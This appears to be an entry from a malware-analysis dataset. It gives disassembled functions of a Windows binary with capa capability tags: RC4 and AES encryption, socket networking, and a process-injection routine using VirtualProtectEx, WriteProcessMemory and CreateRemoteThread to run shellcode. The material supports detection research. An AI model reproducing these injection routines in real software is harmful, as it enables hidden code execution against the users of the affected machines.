joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140022290
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x48], 0
cmp qword [rsp + 0x48], 4
jae 0x1400222df
mov rax, qword [rsp + 0x48]
lea rcx, [rsp + 0x50]
shl rax, 2
add rcx, rax
xor edx, edx
mov r8d, 4
call fcn.1400c37c0
mov rax, qword [rsp + 0x48]
add rax, 1
mov qword [rsp + 0x48], rax
jmp 0x1400222a2
mov qword [rsp + 0x40], 0
cmp qword [rsp + 0x40], 4
jae 0x1400223c9
mov qword [rsp + 0x38], 0
cmp qword [rsp + 0x38], 4
jae 0x1400223b1
mov qword [rsp + 0x30], 0
cmp qword [rsp + 0x30], 4
jae 0x140022399
mov rcx, qword [rsp + 0x40]
lea rax, [0x1400c7c80]
shl rcx, 2
add rax, rcx
mov rcx, qword [rsp + 0x38]
movzx eax, byte [rax + rcx]
mov ecx, eax
lea rax, [0x1400c6c80]
shl rcx, 8
add rax, rcx
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rcx + rdx*8]
mov rdx, qword [rsp + 0x30]
movzx ecx, byte [rcx + rdx]
movzx r8d, byte [rax + rcx]
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x50]
shl rcx, 2
add rax, rcx
mov rcx, qword [rsp + 0x30]
movzx edx, byte [rax + rcx]
xor edx, r8d
mov byte [rax + rcx], dl
mov rax, qword [rsp + 0x30]
add rax, 1
mov qword [rsp + 0x30], rax
jmp 0x140022312
jmp 0x14002239e
mov rax, qword [rsp + 0x38]
add rax, 1
mov qword [rsp + 0x38], rax
jmp 0x1400222fd
jmp 0x1400223b6
mov rax, qword [rsp + 0x40]
add rax, 1
mov qword [rsp + 0x40], rax
jmp 0x1400222e8
mov qword [rsp + 0x28], 0
cmp qword [rsp + 0x28], 4
jae 0x14002240a
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
mov rax, qword [rax + rcx*8]
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rsp + rcx*4 + 0x50]
mov dword [rax], ecx
mov rax, qword [rsp + 0x28]
add rax, 1
mov qword [rsp + 0x28], rax
jmp 0x1400223d2
add rsp, 0x68
ret

Function at 0x140022490
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rcx
mov dword [rsp + 0xc], 0
cmp dword [rsp + 0xc], 4
jge 0x140022514
mov rax, qword [rsp + 0x10]
movsxd rcx, dword [rsp + 0xc]
movzx eax, byte [rax + rcx]
mov ecx, reloc.WS2_32.dll_recv
cdq
idiv ecx
movsxd rcx, eax
lea rax, [0x1400c6b70]
shl rcx, 4
add rax, rcx
mov qword [rsp], rax
mov rax, qword [rsp + 0x10]
movsxd rcx, dword [rsp + 0xc]
movzx eax, byte [rax + rcx]
mov ecx, reloc.WS2_32.dll_recv
cdq
idiv ecx
mov rax, qword [rsp]
movsxd rcx, edx
mov dl, byte [rax + rcx]
mov rax, qword [rsp + 0x10]
movsxd rcx, dword [rsp + 0xc]
mov byte [rax + rcx], dl
mov eax, dword [rsp + 0xc]
add eax, 1
mov dword [rsp + 0xc], eax
jmp 0x1400224a1
add rsp, 0x18
ret
Function at 0x140027b70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x28], 0xfffffffffffffffe
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x18], r9
mov qword [rbp + 0x10], r8
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp - 0x20], rax
mov qword [rbp], 0
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x10], rax
lea rcx, [rbp + 0x20]
call fcn.140027fc0
mov rcx, qword [rbp - 0x20]
mov qword [rbp - 0x18], rax
call fcn.1400020c0
mov rcx, rax
call fcn.140009c60
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 0x10]
mov rcx, rax
mov rax, rsp
lea r9, [rbp - 4]
mov qword [rax + 0x20], r9
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r9d, 0x40
call rax
jmp 0x140027bf8
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x30], rax
lea rcx, [rbp + 0x20]
call fcn.140027fc0
mov rcx, qword [rbp - 0x20]
mov qword [rbp - 0x38], rax
call fcn.1400020c0
mov rcx, rax
call fcn.140009c60
mov rdx, qword [rbp - 0x38]
mov r8, qword [rbp - 0x30]
mov r9, qword [rbp - 0x28]
mov rcx, rax
mov rax, rsp
mov r10, rbp
mov qword [rax + 0x20], r10
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
jmp 0x140027c4d
mov eax, dword [rbp - 4]
mov dword [rbp - 0x3c], eax
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x20]
call fcn.140027fc0
mov rcx, qword [rbp - 0x20]
mov qword [rbp - 0x50], rax
call fcn.1400020c0
mov rcx, rax
call fcn.140009c60
mov rdx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x48]
mov r9d, dword [rbp - 0x3c]
mov rcx, rax
mov rax, rsp
lea r10, [rbp - 4]
mov qword [rax + 0x20], r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call rax
jmp 0x140027ca1
mov rax, qword [rbp]
add rsp, 0xb0
pop rbp
ret

Function at 0x140027cd0
Capabilities:
Create thread

Disassembly:
push rbp
sub rsp, 0x90
lea rbp, [rsp + 0x80]
mov qword [rbp + 8], 0xfffffffffffffffe
mov qword [rbp - 0x48], rdx
mov rax, rdx
mov qword [rbp - 0x40], rax
mov qword [rbp], rdx
mov qword [rbp - 8], r9
mov qword [rbp - 0x10], r8
mov qword [rbp - 0x18], rcx
mov rcx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x30], rax
call fcn.1400020c0
mov rcx, rax
call fcn.140009c60
mov rdx, qword [rbp - 0x38]
mov r9, qword [rbp - 0x30]
mov rcx, rax
mov rax, rsp
mov qword [rax + 0x20], rdx
mov qword [rax + 0x30], 0
mov dword [rax + 0x28], 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
xor edx, edx
mov r8d, edx
mov rdx, r8
call rax
mov qword [rbp - 0x28], rax
jmp 0x140027d5f
mov rcx, qword [rbp - 0x48]
mov rax, qword [rbp - 0x28]
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x20]
call fcn.14000be30
jmp 0x140027d79
mov rax, qword [rbp - 0x40]
add rsp, 0x90
pop rbp
ret
Function at 0x14002a400
Capabilities:
Get file size
Read file via mapping

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x50], 0
mov rcx, qword [rsp + 0x58]
call fcn.14000fa90
mov rcx, rax
mov edx, 0x80000000
mov r8d, 1
xor eax, eax
mov r9d, eax
xor eax, eax
mov dword [rsp + 0x20], 3
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
mov rax, 0xffffffffffffffff
cmp qword [rsp + 0x48], rax
je 0x14002a50f
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 0
je 0x14002a504
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x60]
mov qword [rax], rcx
mov eax, dword [rsp + 0x40]
mov r9d, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x48]
xor edx, edx
mov r8d, 2
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x14002a4ff
mov rax, qword [rsp + 0x60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x38]
mov edx, 4
xor r9d, r9d
mov r8d, r9d
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002a504
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x50]
add rsp, 0x68
ret

Function at 0x14002c410
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x30], rcx
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
cmp dword [rax], 0x138
jne 0x14002c43e
mov rcx, qword [rsp + 0x20]
call fcn.14002c500
jmp 0x14002c45f
mov rcx, qword [rsp + 0x20]
mov eax, 0x270
cmp eax, dword [rcx]
ja 0x14002c45a
mov rcx, qword [rsp + 0x20]
call fcn.14002c5d0
jmp 0x14002c45f
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx]
mov edx, eax
add edx, 1
mov dword [rcx], edx
mov eax, eax
mov rax, qword [rcx + rax*8 + 8]
and rax, 0xffffffffffffffff
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
shr rax, 0x1d
and rax, qword [rcx + 0x1388]
xor rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
shl rax, 0x11
movabs rcx, 0x71d67fffeda60000
and rax, rcx
xor rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
shl rax, 0x25
movabs rcx, 0xfff7eee000000000
and rax, rcx
xor rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
and rax, 0xffffffffffffffff
shr rax, 0x2b
xor rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
add rsp, 0x38
ret
Function at 0x14002c500
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 0x20
mov qword [rsp + 0x18], rcx
mov rax, qword [rsp + 0x18]
mov qword [rsp], rax
mov qword [rsp + 0x10], 0x138
cmp qword [rsp + 0x10], 0x270
jae 0x14002c5c0
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x10]
sub rcx, 0x138
mov rcx, qword [rax + rcx*8 + 8]
and rcx, 0xffffffff80000000
mov rdx, qword [rsp + 0x10]
sub rdx, 0x138
mov rdx, qword [rax + rdx*8 + 0x10]
and rdx, 0x7fffffff
or rcx, rdx
mov qword [rsp + 8], rcx
mov rdx, qword [rsp + 8]
shr rdx, 1
mov r9, qword [rsp + 8]
and r9, 1
xor ecx, ecx
movabs r8, 0xb5026f5aa96619e9
cmp r9, 0
cmovne rcx, r8
xor rdx, rcx
mov rcx, qword [rsp + 0x10]
sub rcx, 0x138
xor rdx, qword [rax + rcx*8 + 0x4e8]
mov rcx, qword [rsp + 0x10]
mov qword [rax + rcx*8 + 8], rdx
mov rax, qword [rsp + 0x10]
add rax, 1
mov qword [rsp + 0x10], rax
jmp 0x14002c51b
add rsp, 0x20
ret

Function at 0x14002c5d0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 0x50
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0x48]
mov qword [rsp], rax
mov qword [rsp + 0x40], 0x137
mov qword [rsp + 0x38], 0x9c
mov qword [rsp + 0x30], 0
cmp qword [rsp + 0x30], 0x9c
jae 0x14002c693
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rax + rcx*8 + 0x9c8]
and rcx, 0xffffffff80000000
mov rdx, qword [rsp + 0x30]
mov rdx, qword [rax + rdx*8 + 0x9d0]
and rdx, 0x7fffffff
or rcx, rdx
mov qword [rsp + 0x28], rcx
mov rdx, qword [rsp + 0x28]
shr rdx, 1
mov r9, qword [rsp + 0x28]
and r9, 1
xor ecx, ecx
movabs r8, 0xb5026f5aa96619e9
cmp r9, 0
cmovne rcx, r8
xor rdx, rcx
mov rcx, qword [rsp + 0x30]
xor rdx, qword [rax + rcx*8 + 0xea8]
mov rcx, qword [rsp + 0x30]
mov qword [rax + rcx*8 + 8], rdx
mov rax, qword [rsp + 0x30]
add rax, 1
mov qword [rsp + 0x30], rax
jmp 0x14002c5fd
mov qword [rsp + 0x20], 0x9c
cmp qword [rsp + 0x20], 0x137
jae 0x14002c739
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x20]
mov rcx, qword [rax + rcx*8 + 0x9c8]
and rcx, 0xffffffff80000000
mov rdx, qword [rsp + 0x20]
mov rdx, qword [rax + rdx*8 + 0x9d0]
and rdx, 0x7fffffff
or rcx, rdx
mov qword [rsp + 0x18], rcx
mov rdx, qword [rsp + 0x18]
shr rdx, 1
mov r9, qword [rsp + 0x18]
and r9, 1
xor ecx, ecx
movabs r8, 0xb5026f5aa96619e9
cmp r9, 0
cmovne rcx, r8
xor rdx, rcx
mov rcx, qword [rsp + 0x20]
sub rcx, 0x138
xor rdx, qword [rax + rcx*8 + 0x4e8]
mov rcx, qword [rsp + 0x20]
mov qword [rax + rcx*8 + 8], rdx
mov rax, qword [rsp + 0x20]
add rax, 1
mov qword [rsp + 0x20], rax
jmp 0x14002c69c
mov rax, qword [rsp]
mov qword [rsp + 0x10], 0x137
mov rcx, qword [rax + 0x1380]
and rcx, 0xffffffff80000000
mov rdx, qword [rax + 8]
and rdx, 0x7fffffff
or rcx, rdx
mov qword [rsp + 8], rcx
mov rcx, qword [rsp + 8]
shr rcx, 1
mov r9, qword [rsp + 8]
and r9, 1
xor edx, edx
movabs r8, 0xb5026f5aa96619e9
cmp r9, 0
cmovne rdx, r8
xor rcx, rdx
xor rcx, qword [rax + 0x4e0]
mov qword [rax + 0x9c0], rcx
mov dword [rax], 0
add rsp, 0x50
ret
Function at 0x140032db0
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1d0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x148], 0xfffffffffffffffe
mov qword [rbp + 0x140], rcx
mov rax, qword [0x140125a30]
mov rcx, rax
add rcx, 1
mov qword [0x140125a30], rcx
cmp rax, 0
jne 0x140032e12
mov word [rbp - 0x5a], 0x202
mov cx, word [rbp - 0x5a]
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
lea rdx, [rbp - 0x58]
call rax
jmp 0x140032e0d
jmp 0x140032e12
add rsp, 0x1d0
pop rbp
ret

Function at 0x1400333d0
Capabilities:
Connect socket

Disassembly:
push rbp
sub rsp, 0xa0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x18], 0xfffffffffffffffe
mov qword [rbp + 8], rdx
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp - 0x48], rax
mov rcx, qword [rbp + 8]
mov rdx, qword [rcx]
mov qword [rax + 0x38], rdx
mov rdx, qword [rcx + 8]
mov qword [rax + 0x40], rdx
mov rcx, qword [rcx + 0x10]
mov qword [rax + 0x48], rcx
mov rcx, qword [rbp + 8]
call fcn.14003a520
test al, 1
jne 0x140033429
jmp 0x1400334dc
mov rcx, qword [rbp - 0x48]
mov edx, 2
mov r8d, 1
call fcn.140032f60
mov byte [rbp - 0x49], al
jmp 0x140033445
mov al, byte [rbp - 0x49]
test al, 1
jne 0x140033455
jmp 0x140033466
mov rcx, qword [rbp - 0x48]
call fcn.140033660
test al, 1
jne 0x14003346f
mov byte [rbp + 0x17], 0
jmp 0x140033583
xorps xmm0, xmm0
movaps xmmword [rbp - 0x10], xmm0
mov word [rbp - 0x10], 2
mov rcx, qword [rbp + 8]
add rcx, 0x10
call fcn.1400025a0
mov ax, word [rax]
mov word [rbp - 0xe], ax
mov rcx, qword [rbp + 8]
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x58], rdx
call fcn.14003a550
mov rcx, qword [rbp - 0x58]
call fcn.1400025a0
mov rcx, qword [rbp - 0x48]
mov eax, dword [rax]
mov dword [rbp - 0xc], eax
add rcx, 0x30
call fcn.1400025a0
mov rcx, qword [rax]
mov rax, qword [sym.imp.WS2_32.dll_connect]
lea rdx, [rbp - 0x10]
mov r8d, reloc.WS2_32.dll_recv
call rax
jmp 0x1400334d7
jmp 0x14003357f
mov rcx, qword [rbp - 0x48]
mov edx, reloc.WS2_32.dll_socket
mov r8d, 1
call fcn.140032f60
mov byte [rbp - 0x59], al
jmp 0x1400334f8
mov al, byte [rbp - 0x59]
test al, 1
jne 0x140033508
jmp 0x140033519
mov rcx, qword [rbp - 0x48]
call fcn.140033660
test al, 1
jne 0x140033522
mov byte [rbp + 0x17], 0
jmp 0x140033583
xorps xmm0, xmm0
movups xmmword [rbp - 0x34], xmm0
movaps xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x40], reloc.WS2_32.dll_socket
mov rcx, qword [rbp + 8]
add rcx, 0x10
call fcn.1400025a0
mov rcx, qword [rbp - 0x48]
mov ax, word [rax]
mov word [rbp - 0x3e], ax
mov rax, qword [rbp + 8]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
add rcx, 0x30
call fcn.1400025a0
mov rcx, qword [rax]
mov rax, qword [sym.imp.WS2_32.dll_connect]
lea rdx, [rbp - 0x40]
mov r8d, 0x1c
call rax
jmp 0x14003357a
jmp 0x14003357f
mov byte [rbp + 0x17], 1
mov al, byte [rbp + 0x17]
and al, 1
movzx eax, al
add rsp, 0xa0
pop rbp
ret
Function at 0x140033f90
Capabilities:
Set socket configuration

Disassembly:
push rbp
sub rsp, 0x40
lea rbp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
and dl, 1
mov byte [rbp - 9], dl
mov qword [rbp - 0x18], rcx
mov rcx, qword [rbp - 0x18]
mov al, byte [rbp - 9]
not al
movzx eax, al
and eax, 1
mov dword [rbp - 0x1c], eax
add rcx, 0x30
call fcn.1400025a0
mov rcx, qword [rax]
mov rax, qword [sym.imp.WS2_32.dll_ioctlsocket]
mov edx, 0x8004667e
lea r8, [rbp - 0x1c]
call rax
mov dword [rbp - 0x20], eax
jmp 0x140033fe4
mov eax, dword [rbp - 0x20]
cmp eax, 0
sete al
and al, 1
movzx eax, al
add rsp, 0x40
pop rbp
ret
Function at 0x140035fd0
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0xe0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x58], 0xfffffffffffffffe
mov qword [rbp + 0x48], r8
mov qword [rbp + 0x40], rdx
mov qword [rbp + 0x38], rcx
mov rax, qword [rbp + 0x38]
mov qword [rbp - 0x18], rax
mov rcx, qword [rbp + 0x40]
call fcn.14003a520
test al, 1
jne 0x140036012
jmp 0x1400360d9
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
mov word [rbp + 0x20], 2
mov rcx, qword [rbp + 0x40]
add rcx, 0x10
call fcn.1400025a0
mov ax, word [rax]
mov word [rbp + 0x22], ax
mov rcx, qword [rbp + 0x40]
lea rdx, [rbp + 0x18]
mov qword [rbp - 0x30], rdx
call fcn.14003a550
mov rcx, qword [rbp - 0x30]
call fcn.1400025a0
mov eax, dword [rax]
mov dword [rbp + 0x24], eax
mov rcx, qword [rbp + 0x48]
call fcn.140002610
mov dword [rbp - 0x20], eax
mov rcx, qword [rbp + 0x48]
call fcn.140002620
mov rcx, qword [rbp - 0x18]
mov qword [rbp - 0x28], rax
add rcx, 0x30
call fcn.1400025a0
mov rdx, qword [rbp - 0x28]
mov r8d, dword [rbp - 0x20]
mov rcx, qword [rax]
mov rax, rsp
lea r9, [rbp + 0x20]
mov qword [rax + 0x20], r9
mov dword [rax + 0x28], reloc.WS2_32.dll_recv
mov rax, qword [sym.imp.WS2_32.dll_sendto]
xor r9d, r9d
call rax
mov dword [rbp - 0x1c], eax
jmp 0x1400360a9
mov eax, dword [rbp - 0x1c]
cdqe
mov qword [rbp - 0x38], rax
mov rcx, qword [rbp + 0x48]
call fcn.140002610
mov rcx, rax
mov rax, qword [rbp - 0x38]
cmp rax, rcx
je 0x1400360d4
mov byte [rbp + 0x57], 0
jmp 0x140036194
jmp 0x140036190
xorps xmm0, xmm0
movups xmmword [rbp - 4], xmm0
movaps xmmword [rbp - 0x10], xmm0
mov word [rbp - 0x10], reloc.WS2_32.dll_socket
mov rax, qword [rbp + 0x40]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 8], xmm0
mov rcx, qword [rbp + 0x40]
add rcx, 0x10
call fcn.1400025a0
mov ax, word [rax]
mov word [rbp - 0xe], ax
mov rcx, qword [rbp + 0x48]
call fcn.140002610
mov dword [rbp - 0x40], eax
mov rcx, qword [rbp + 0x48]
call fcn.140002620
mov rcx, qword [rbp - 0x18]
mov qword [rbp - 0x48], rax
add rcx, 0x30
call fcn.1400025a0
mov rdx, qword [rbp - 0x48]
mov r8d, dword [rbp - 0x40]
mov rcx, qword [rax]
mov rax, rsp
lea r9, [rbp - 0x10]
mov qword [rax + 0x20], r9
mov dword [rax + 0x28], 0x1c
mov rax, qword [sym.imp.WS2_32.dll_sendto]
xor r9d, r9d
call rax
mov dword [rbp - 0x3c], eax
jmp 0x140036160
mov eax, dword [rbp - 0x3c]
cdqe
mov qword [rbp - 0x50], rax
mov rcx, qword [rbp + 0x48]
call fcn.140002610
mov rcx, rax
mov rax, qword [rbp - 0x50]
cmp rax, rcx
je 0x14003618b
mov byte [rbp + 0x57], 0
jmp 0x140036194
jmp 0x140036190
mov byte [rbp + 0x57], 1
mov al, byte [rbp + 0x57]
and al, 1
movzx eax, al
add rsp, 0xe0
pop rbp
ret

Function at 0x140036ae0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0x30]
add rcx, 0x30
call fcn.1400025a0
mov rcx, qword [rax]
lea rdx, [rsp + 0x2f]
mov r8d, 1
mov r9d, 2
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 1
sete al
and al, 1
movzx eax, al
add rsp, 0x38
ret
Function at 0x140036b30
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov dword [rbp - 0xc], r8d
mov qword [rbp - 0x18], rdx
mov qword [rbp - 0x20], rcx
mov rcx, qword [rbp - 0x20]
mov eax, dword [rbp - 0xc]
mov dword [rbp - 0x28], eax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x30], rax
add rcx, 0x30
call fcn.1400025a0
mov rdx, qword [rbp - 0x30]
mov r8d, dword [rbp - 0x28]
mov rcx, qword [rax]
mov rax, qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
call rax
mov dword [rbp - 0x24], eax
jmp 0x140036b88
mov eax, dword [rbp - 0x24]
cmp eax, dword [rbp - 0xc]
sete al
and al, 1
movzx eax, al
add rsp, 0x50
pop rbp
ret

Function at 0x140036bc0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
sub rsp, 0x90
lea rbp, [rsp + 0x80]
mov qword [rbp + 8], 0xfffffffffffffffe
mov qword [rbp - 0x50], rdx
mov rax, rdx
mov qword [rbp - 0x48], rax
mov qword [rbp], rdx
mov dword [rbp - 4], r8d
mov qword [rbp - 0x10], rcx
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x40], rax
movsxd rdx, dword [rbp - 4]
xor eax, eax
mov r8b, al
lea rcx, [rbp - 0x30]
call fcn.14000de20
jmp 0x140036c0e
mov eax, dword [rbp - 4]
mov dword [rbp - 0x58], eax
lea rcx, [rbp - 0x30]
call fcn.140002620
mov rcx, qword [rbp - 0x40]
mov qword [rbp - 0x60], rax
add rcx, 0x30
call fcn.1400025a0
mov rdx, qword [rbp - 0x60]
mov r8d, dword [rbp - 0x58]
mov rcx, qword [rax]
mov rax, qword [sym.imp.WS2_32.dll_recv]
xor r9d, r9d
call rax
mov dword [rbp - 0x54], eax
jmp 0x140036c4d
mov eax, dword [rbp - 0x54]
mov dword [rbp - 0x34], eax
cmp dword [rbp - 0x34], 0
jle 0x140036c8d
movsxd rdx, dword [rbp - 0x34]
xor eax, eax
mov r8b, al
lea rcx, [rbp - 0x30]
call fcn.140010700
jmp 0x140036c74
mov rcx, qword [rbp - 0x50]
lea rdx, [rbp - 0x30]
call fcn.1400025b0
mov dword [rbp - 0x38], 1
jmp 0x140036c9d
mov rcx, qword [rbp - 0x50]
call fcn.1400028a0
mov dword [rbp - 0x38], 1
lea rcx, [rbp - 0x30]
call fcn.140002570
mov rax, qword [rbp - 0x48]
add rsp, 0x90
pop rbp
ret
Function at 0x140039330
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
sub rsp, 0xf0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x68], 0xfffffffffffffffe
mov qword [rbp + 0x60], r8
mov qword [rbp + 0x58], rdx
mov qword [rbp + 0x50], rcx
mov rax, qword [rbp + 0x58]
mov byte [rax + 0xa], 0
mov rcx, qword [rbp + 0x60]
call fcn.140003c00
mov qword [rbp + 0x48], rax
xor eax, eax
mov r8b, al
lea rcx, [rbp + 0x28]
mov edx, 0x1000
call fcn.14000de20
jmp 0x140039381
mov dword [rbp + 4], 0x1c
lea rcx, [rbp + 0x28]
call fcn.140002620
mov qword [rbp - 0x50], rax
mov rcx, qword [rbp + 0x58]
add rcx, 0x30
call fcn.1400025a0
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rax]
mov rax, rsp
lea r8, [rbp + 4]
mov qword [rax + 0x28], r8
lea r8, [rbp + 8]
mov qword [rax + 0x20], r8
mov rax, qword [sym.imp.WS2_32.dll_recvfrom]
mov r8d, 0x1000
xor r9d, r9d
call rax
mov dword [rbp - 0x44], eax
jmp 0x1400393d6
mov eax, dword [rbp - 0x44]
movsxd rdx, eax
xor eax, eax
mov r8b, al
lea rcx, [rbp + 0x28]
call fcn.140010700
jmp 0x1400393ef
lea rcx, [rbp - 0x18]
call fcn.14003a1f0
movsxd rax, dword [rbp + 4]
cmp rax, 0x1c
jne 0x140039441
lea rdx, [rbp + 8]
add rdx, 8
lea rcx, [rbp - 0x28]
call fcn.140042b80
mov rax, qword [rbp - 0x28]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x10], rax
mov dx, word [rbp + 0xa]
lea rcx, [rbp - 0x30]
call fcn.14003a490
mov ax, word [rbp - 0x30]
mov word [rbp - 8], ax
jmp 0x14003946f
mov edx, dword [rbp + 0xc]
lea rcx, [rbp - 0x38]
call fcn.14001fc40
lea rcx, [rbp - 0x18]
lea rdx, [rbp - 0x38]
call fcn.14003a710
mov dx, word [rbp + 0xa]
lea rcx, [rbp - 0x40]
call fcn.14003a490
mov ax, word [rbp - 0x40]
mov word [rbp - 8], ax
mov r9, qword [rbp + 0x48]
mov rax, qword [r9]
add r9, 8
mov rcx, qword [rbp + 0x58]
lea rdx, [rbp - 0x18]
lea r8, [rbp + 0x28]
call rax
jmp 0x14003948d
lea rcx, [rbp + 0x28]
call fcn.140002570
nop
add rsp, 0xf0
pop rbp
ret

Function at 0x14003a640
Capabilities:
Set socket configuration

Disassembly:
push rbp
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], r8
mov dword [rbp - 0x14], edx
mov qword [rbp - 0x20], rcx
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x30], rax
mov eax, dword [rbp - 0x14]
mov dword [rbp - 0x34], eax
add rcx, 0x30
call fcn.1400025a0
mov r8d, dword [rbp - 0x34]
mov r9, qword [rbp - 0x30]
mov rcx, qword [rax]
mov rax, rsp
mov dword [rax + 0x20], 4
mov rax, qword [sym.imp.WS2_32.dll_setsockopt]
mov edx, 0xffff
call rax
mov dword [rbp - 0x24], eax
jmp 0x14003a6a3
mov eax, dword [rbp - 0x24]
cmp eax, 0xffffffff
setne al
and al, 1
movzx eax, al
add rsp, 0x60
pop rbp
ret
Function at 0x14003b470
Capabilities:
Set socket configuration

Disassembly:
push rbp
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], r8
mov dword [rbp - 0x14], edx
mov qword [rbp - 0x20], rcx
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x30], rax
mov eax, dword [rbp - 0x14]
mov dword [rbp - 0x34], eax
add rcx, 0x30
call fcn.1400025a0
mov r8d, dword [rbp - 0x34]
mov r9, qword [rbp - 0x30]
mov rcx, qword [rax]
mov rax, rsp
mov dword [rax + 0x20], 1
mov rax, qword [sym.imp.WS2_32.dll_setsockopt]
mov edx, 0xffff
call rax
mov dword [rbp - 0x24], eax
jmp 0x14003b4d3
mov eax, dword [rbp - 0x24]
cmp eax, 0xffffffff
setne al
and al, 1
movzx eax, al
add rsp, 0x60
pop rbp
ret

Function at 0x140045c00
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], rdx
mov qword [rbp - 0x18], rcx
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.140096820
mov qword [rbp - 0x30], rax
jmp 0x140045c35
